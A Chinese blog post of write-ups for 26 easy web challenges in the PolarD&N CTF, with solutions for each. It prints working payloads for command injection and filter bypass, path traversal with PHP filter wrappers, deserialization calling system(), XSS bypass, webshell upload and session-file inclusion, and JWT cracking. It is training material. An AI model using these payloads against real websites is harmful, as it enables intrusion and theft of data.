PolarD&N-CTF-web方向-简单

目录

0x01 swp(简单)

0x02 简单rce(简单)

0x03 蜜雪冰城吉警店(简单)

0x04 召唤神龙(简单)

0x05 seek flag(简单)

0x06 login(简单)

0x07 iPhone(简单)

0x08 $$(简单)

0x09 XFF(简单)

0x0A GET-POST(简单)

0x0B rce1(简单)

0x0C 被黑掉的站(简单)

0x0D 签到题(简单)

0x0E 签到(简单)

0x0F 爆破(简单)

0x10 robots(简单)

0x11 Don't touch me(简单)

0x12 浮生日记(简单)

0x13 ezupload(简单)

0x14 php very nice(简单)

0x15 session文件包含(简单)

0x16 jwt(简单)

0x17 cookie欺骗(简单)

0x18 upload(简单)

0x19 干正则(简单)

0x1A cool(简单)


0x01 swp(简单)

备份文件题,进题看见了提示。我们直接dirsearch开扫:

然后发现了一个叫做/.index.php.swp的备份文件。我们查看源码,并做一下整理:

<?php
function jiuzhe($xdmtql)
{
    return preg_match('/sys.*nb/is',$xdmtql);
}
$xdmtql=@$_POST['xdmtql'];
if(!is_array($xdmtql))
{
    if(!jiuzhe($xdmtql))
    {
        if(strpos($xdmtql,'sys nb')!==false)
        {
            echo 'flag{*******}';
        }
        else
        {
            echo 'true .swp file?';
        }
    }
    else
    {
        echo 'nijilenijile';
    }
}
?>

这就是说我们需要post一个名为xdmtql的变量,然后这个变量不能是数组。不能与/sys.*nb/is正则匹配。但是结果的sys nb要在第一位。

我尝试了用回车绕过,因为.*有一个特质:

.

匹配除换行符 \n 之外的任何单字符。要匹配 . ,请使用 \. 。

*匹配前面的子表达式零次或多次。要匹配 * 字符,请使用 \*。

 这就说明,如果换行符应该是不会被检测的。但是还是错的。所以就用回溯绕过法:

一定要记住xdmtql在第一个位置,这样才能绕过最后一个判断语句:

运行就得到了flag。


0x02 简单rce(简单)

进题看看源码:

post传参一个yyds=666,这是不会被检测的。然后再用get传参一个sys。这个sys好多被过滤了。system和popen也被过滤了。可以使用exec或者直接用``反引号进行命令执行。然后空格被过滤了拿%09或者别的${IFS}之类的过去。我们先尝试一下payload:

?sys=echo%09`ls`;

 然后发现有一个index.php,然后发现根目录有一个flag的文件。那么我们看看过滤。发现vi没被过滤,我们用vi进行读取,payload:

?sys=echo%09`vi%09`

虽然很多乱码,但是flag还是包含在里面的。

0x03 蜜雪冰城吉警店(简单)

进题看见题目是一个点单题:

我以为是后端发包的题目。但是这题是完全前端,就是根本不发包。所以bp的方法就不行了。然后源码看了好久都没找到id=9的地方,并且我还尝试传入id这个参数。都是没用的。于是去看了wp:

只要在element里面将任意一个id改成9再点击就可以了:

然后就得到了flag。

0x04 召唤神龙(简单)

这题可以直接手打通关 我们进题可以看见一个游戏界面。尝试先死一次:

有一个点击查看分数,然后我们去看看源码的位置:

但是找不到。因为源码都是url编码过的。但是我在源码中发现了一个jsfuck编码:

拿去控制台解密一下:

然后就得到了flag。

0x05 seek flag(简单)

根据题名知道是找flag的题。那么只有几个方向:源码、抓包、放包、dirsearch。

首先先看一下源码:

不想让爬虫爬到,那么就是/robots.txt了。

那我们抓包放包试试:

发现里面包含了id=0,那么我们自然地把他改成1然后放包:

找到flag1和flag2了。然后去/robots.txt看一下:

然后拼接起来就是flag了。

0x06 login(简单)

进题看到一个登录界面,很自然地尝试了注入。但是没用。看了源码发现了提示是:<!--20200101
    20200101-->,那么我们拿这两个进去尝试:

发现是登录成功。后面进行了一系列操作都没用。只能去看了wp。居然是把学号最后一位给改了,然后回显了flag。这个是真的想不到。我们用bp抓包爆破,然后发现了输入最后两位为02-11的时候会回显flag。我们就去一个一个抄下来:

得到了flag:flag{dlcg}

0x07 iPhone(简单)

随便点了一下Enter键,发现它需要我们从iPhone而不是windows访问:

那么我们直接用iphone进行访问,那么我们抓包把User-Agent改成iphone就可以了:

就得到了flag。

0x08 $$(简单)

进题看一下源码:

错误示例:

然后他需要var_dump一个变量。这就是$$的变量覆盖题。比如:

我传入$a=b;

那么就会被解析为:var_dump($b);

此时只要给$b赋值为flag.php就能var_dump('flag.php')的内容了。那么我应该输入的payload:

?c=b&b=flag.php

但是这种方法是错误的。那么我们去看一下wp:

wp上说只要让$c=GLOBALS,变量覆盖后就是var_dump($GLOBALS);那么flag也会在里面。(尝试用GLOBALS里面的fl4g然后构建我的payload还是错的)标准payload:

?c=GLOBALS

然后就得到了flag。

0x09 XFF(简单)

根据题意知道是XFF伪造了,那么进题直接抓包伪造就行了:

要ip是1.1.1.1,那么我们直接伪造就行了:

然后就得到了flag。

0x0A GET-POST(简单)

简单题,进题直接搓payload:

?id=1

jljcxy=flag

然后就得到了flag。

0x0B rce1(简单)

网页太花了直接看源码:

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/ /", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

ping -c 4 {$ip}这很熟悉了。我们尝试一下payload:

?ip=127.0.0.1|ls

 是有回显的。而且尝试了一下用$IFS绕过空格也是可以的。但是题目的hint是:

就过滤了个空格,能拿到flag算我输

然后我尝试了直接用cat读取,发现是错的。发现env里面的flag是假的。然后再尝试一次读取。然后查看了源码找到了flag。payload:

?ip=127.0.0.1|cat%09f*

然后在源码里找到了flag。

0x0C 被黑掉的站(简单)

进题没线索,dirsearch扫一下目录,发现了/index.php.bak还有shell.php,我们进去访问。发现.bak里面是一个字典,然后shell里面是一个登录界面,拿着这个字典去爆破试试:

然后发现输入nikel的时候就会回显flag。

0x0D 签到题(简单)

进题发现啥有没有,开一下bp看看。发现了cookie。改一下:

然后在那个base64加密的地方解码,发现了/data/index.php的网页,看源码:

发现要绕过../并进行目录穿越。一开始以为是apache的目录穿越漏洞。但是后来发现可以直接用双写绕过。(而且apache那个漏洞没用)所以我先尝试了payload:

?file=..././index

 发现回显了,说明方向没错。然后尝试了好久,找不到flag的位置。只能去看了wp:

然后想起了include会直接执行文件,所以就需要php伪协议来读取,最后的payload:

?file=php://filter/read=convert.base64-encode/resource=..././..././..././..././flag

然后拿去base64解码就得到了flag。

0x0E 签到(简单)

进题看见文本框,提交抓包。

但是这题不能提交。我们去源码的element中把disabled给删了就可以了。然后再次提交抓包。随便发一个,他会提示:

然后直接输入框会有文本长度限制,只能在bp里面发包:

然后就得到了flag。

0x0F 爆破(简单)

这题可以见ctf.show爆破 我们进题看看源码:

这题想直接出来是出不来的,我们就直接进行脚本爆破。这里附上脚本:

import hashlib

for i in range(1,10000):

    md5 = hashlib.md5(str(i).encode('utf-8')).hexdigest()

    if md5[1] != md5[14] or md5[14]!= md5[17]:
        continue

    if(ord(md5[1]))>=48 and ord(md5[1])<=57 and (ord(md5[31]))>=48 and ord(md5[31])<=57:

        if((int(md5[1])+int(md5[14])+int(md5[17]))/int(md5[1])==int(md5[31])):

           print(i)

 然后就有了两个哈希值,直接输入pass就可以过了。一个是422,一个是1202。

输入payload就得到了flag。

0x10 robots(简单)

根据题目以及进题的提示,知道是robots协议了:

进/robots.txt访问一下,发现了/fl0g.php。进去访问就得到flag了。

0x11 Don't touch me(简单)

信息搜集题。进去看源码,找到了/2.php:

进去访问,又看到了不能click的按键。把disabled删了就行:

然后点一下就找到了下一个提示:

进去访问就找到了flag。

0x12 浮生日记(简单)

进题文本框试了很多方法没用。看了wp才知道要用XSS,常见的payload:

<script>alert(1)</script>

 然后发现里面是需要闭合的,并且会过滤script。先闭合然后再双写script。payload:

"><scriscriptpt>alert(1)</scriscriptpt>

 然后我们就发出了弹窗。然后就跳转到flag的地址/f_1__a___G.php了

然后就得到了flag。

0x13 ezupload(简单)

进题是文件上传,抓包发马:

然后图片类型改成gif传马就上传成功了。然后访问就是木马了,那我们直接上蚁剑吧:

然后就找到了flag。

0x14 php very nice(简单)

进题是个不用pop链的反序列化:

我们直接手打payload:

O:7:"Example":1:{s:3:"sys";s:13:"system('ls');";}

 回显了flag.php。怕他直接执行了,我们include出来就行了,payload:

O:7:"Example":1:{s:3:"sys";s:69:"include('php://filter/read=convert.base64-encode/resource=flag.php');";}

解码后就得到了flag。(确实被执行了)

0x15 session文件包含(简单)

进题随便输入一个数据,然后进到/action.php。然后就找不到什么有用的信息了。去看了wp。说要用php伪协议读取action.php的源码,我去读取了,源码如下:

<?php
session_start();
error_reporting(0);
$name = $_POST['name'];
if($name){
	$_SESSION["username"] = $name;
}
include($_GET['file']);
?>
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<a href=action.php?file=1.txt>my dairy</a>
<a href=action.php?file=2.txt>my booklist</a>
</body>
</html>

然后找到了session包含。我们在name中上传一句话木马,并且在file中包含这个文件就可以了。这个文件的目录一般在tmp中,而且命名为:sess_PHPSESSID

而这个sessid的位置,一般在cookie里面储存:

然后我们就去包含这个文件就行,payload:

action.php?file=../../tmp/sess_lr5v4rvv8t66gr4rog728smb91

 

发现我的木马已经被包含了,然后再去连一下蚁剑,然后在根目录找到了flag。

0x16 jwt(简单)

进题做了好久发现没有线索,我就去看了wp。发现是jwt伪造。先去下载jwtcracker这个工具,工具在:

https://github.com/brendan-rius/c-jwt-cracker

然后注册之后会获得jwt的值。拿去解密获得密钥为SYSA:

然后拿去解密再加密一下:

然后将JWT改成这个编码后的格式:

.然后就得到了flag。

0x17 cookie欺骗(简单)

进题看到只有admin才能访问:

抓包改一下cookie

然后就得到了flag。

0x18 upload(简单)

文件上传题,进题提交之后我们抓包上传一句话木马:

然后发现他的路径是/upload/22333shell.,也就是说php被过滤了,我尝试了phtml。发现可以回显一个p。那么我们尝试一下双写绕过,然后就成功上传了php后缀的文件:

然后进行访问,发现木马已经被读入了,我们就连接蚁剑找一下:

然后就找到了flag。

0x19 干正则(简单)

进题看源码:

他是一个需要ping的源码,然后看到了@parse_str()函数。就是读取一个变量并将其转换为数组的形式,我们构造一下payload:

?id=a[0]=www.polarctf.com

 

发现a[0]的值确实被更改了,那么接下来就简单了,先构造一个cmd=|ls;,发现回显了flag.php,但是不能直接读取,我们尝试用读取ls的命令,payload:

?id=a[0]=www.polarctf.com&cmd=|cat `ls`;

 

然后在源码中找到了flag。

0x1A cool(简单)

看源码:

<?php
if(isset($_GET['a'])){
    $a = $_GET['a'];
    if(is_numeric($a)){
        echo "no";
    }
    if(!preg_match("/flag|system|php/i", $a)){
        eval($a);
    }
}else{
    highlight_file(__FILE__);
}
?>

就是简单的正则绕过,构造payload:

?a=echo `ls`;

?a=echo `cat fl\ag.txt`;

 

然后就得到了flag。

  • 19
    点赞
  • 36
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值